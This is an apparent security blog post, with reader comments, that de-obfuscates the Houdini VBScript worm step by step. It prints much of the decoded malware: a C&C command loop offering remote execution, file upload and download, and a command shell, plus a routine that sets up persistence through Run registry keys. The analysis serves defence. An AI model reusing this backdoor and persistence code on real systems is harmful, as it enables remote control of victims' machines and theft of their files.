Saturday, 7 September 2013

How not to Obfuscate your VBScript

I recently came across a malware sample that reminded me of a capture the flag style challenge. There were multiple layers of encoding but each was relatively simple to reverse. In this post I'll provide a quick analysis.

(Just in case you're wondering, this sample was detected by a custom HIPS rule looking for suspicious registry modifications. Would definitely recommend deploying custom HIPS rules if you haven't already!)

The Sample

The malware was created using VBScript and saved as a .vbe file. It did a great job of evading AV with a score of only 4/46 on VirusTotal, props to CAT-QuickHeal/Avast/Kaspersky/TrendMicro for detecting it!

I assumed I would be able to just open the file and I'd see the malicious script. Well it wasn't quite that simple...Opening the .vbe all I got was a huge mass of characters:

After a quick Google I found out, VBE stands for VBScript Encoded, (ahhha moment!) and I needed some way to decode the file. Luckily there was a great blog post with sample script here:

Running the decode script against the encoded vbe we get some clear-text vbs.

Hmmm another chunk of encoded text. It does appear to be sent to a function called deCrypt though and looking down the script we come to the actual deCrypt function.

The decrypt function calls decodeBase64 which coverts our data from Base64 to ASCII. Also note that the decrypt routine is ran twice (once in each screenshot) before finally being executed. Now we could write a decode script or we could just use an online converter (

Decoding Once (Still garbled...)

Decoding Twice (Woohoo code!)

So we have a variable....but also more encoded text. Scrolling down we come to the decryption routine:

Decryption removes the |dz| padding then for each item in the array concatenates to the previous item the ascii character for that character code. And then executes the final string. To get the plain text script I just patched the existing script to output to file instead of execute.

And finally we get to the actual VBScript:

'<[ recoder : houdini (c) skype : houdini-fx ]>
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
host = ""
port = 446
installdir = "%appdata%"
lnkfile = true
lnkfolder = true
'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
dim shellobj
set shellobj = wscript.createobject("")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")
'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"

(Continued below...)

Straight away you notice the author has proudly placed his name and Skype at the top of the script (queue Krebs style investigation!) Next there's the callback domain, where he's using the dynamic DNS service

When run the script will repeatedly connect to the C&C and attempts to receive commands.

while true


response = ""
response = post ("is-ready","")
cmd = split (response,spliter)
select case cmd (0)
case "excecute"
      param = cmd (1)
      execute param
case "update"
      param = cmd (1)
      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
      oneonce.write param
      oneonce.close "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
case "uninstall"
case "send"
      download cmd (1),cmd (2)
case "recv"
      param = cmd (1)
      upload (param)   
case  "cmd-shell"
      param = cmd (1)
      post "is-cmd-shell",cmdshell (param)  
case  "delete"
      param = cmd (1)
      deletefaf (param) 
case  "exit-process"
      param = cmd (1)
      exitprocess (param) 
case  "sleep"
      param = cmd (1)
      sleep = eval (param)        
end select

wscript.sleep sleep


Looking at the install routine we can see the script will create run keys and a copy of itself in the startup folder to maintain persistence.

sub upstart ()
on error resume Next

shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true

end sub

The script contains multiple functions the C&C owner can call upon. For example to install/uninstall, download/upload files, enumerate/kill processes, run arbitrary commands and spread using lnk files. As I had an infected machine I modified the original script to create a cleaner script that would call the uninstall function.

The malware appears to be quite recent as Googling the plain text script I could see only one post about it. The below link also has a copy of the whole script:

Final Thoughts

Manual binary analysis can be tricky so I normally let Cuckoo ( do all the hard work but until Cuckoo supports VBScript manual analysis seems to be the only option.

While the malicious script had some great functionality I was surprised how badly it had been obfuscated. In the web app world Javascript obfuscators can be a nightmare, renaming variables, breaking everything up into a million different concatenations and dummy functions. All this script had was a basic encoding routine and some Base64 conversion. Lazy script kiddie maybe?

Hope you guys found this useful.

Pdizzle out.


  1. Haha... Hi. So I came across a similar script recently, it's causing havoc at my school (I.E. A university in South Africa)... at first I thought it was home-grown from one of the IT-labs but I learned otherwise... it's different in that it seems to pre-date yours as the actual VBs file is not encoded.
    Here are it's First(significant) lines:
    '< -cyber Crypter ->
    t1 = shadows
    t1 = hexDecode(t1)
    Safa&_22 = deCrypt (t1)
    EXECUTE (Safa7_22)
    Anyway I didn't even bother decrypting (For lack of a better term) the code... I simply let the script do all the work, commented out the Execution and made it output "Safa7_22" to a file. Worked like a charm. The output matches yours except the Host address is different.
    Just thought I'd share.
    I like the site, InfoSec has been an interest of mine for a while now.
    Anyway I'm out.

  2. Hi! Thanks for this wonderful tutorial.
    This is one of the easiest way I've seen to decrypt Houdini worm.

    Anyways, regarding the initial encoded script,
    an easier way to decode can be to replace "EXECUTE(Safa7_22)" with

    Set fso = CreateObject ("Scripting.FileSystemObject")
    Set stdout = fso.CreateTextFile("output.txt")
    stdout.Writeline Safa7_22

    output.txt will now contain the script with "DZCLOVER".

    Very good blog, by the way :)

  3. @Tumi - We had the same issue that it was spreading across multiple machines. There are a number of different mitigations, you can try submitting a sample to your AV vendor, implementing HIPS rules to block file/registry creation and access or proxy/firewall rules to block and detect the callbacks. Restricting USB is also recommended although not always possible.

    @Anthony - Thanks for the decrypt shortcut + comments!

  4. Very good article I like it, there are not many tutorials about deobfuscating encoded .vbs files. Can you help me to deobfuscate a malicious .vbs? I have problems with it...

  5. Thanks John, have you got a link where I can view the code?

  6. Thank you for your prompt reply. You can send me an email at admin(at) with your email and I can send the file in an email attachment. You can see there the article about that vbs malware: and I am eager to see what it really contains. Thank you again for your time.

  7. I also found this malware on my friend Claudia's Flash Drive (a bit late though) and couldn't resist the temptation to let it be my first malware reverse engineered. Was like a soft massage to my brain, a great entertainment to spend a couple of hours on. Dear old VB6... Thank you all for sharing this info. Now I'm going to treat this file differently.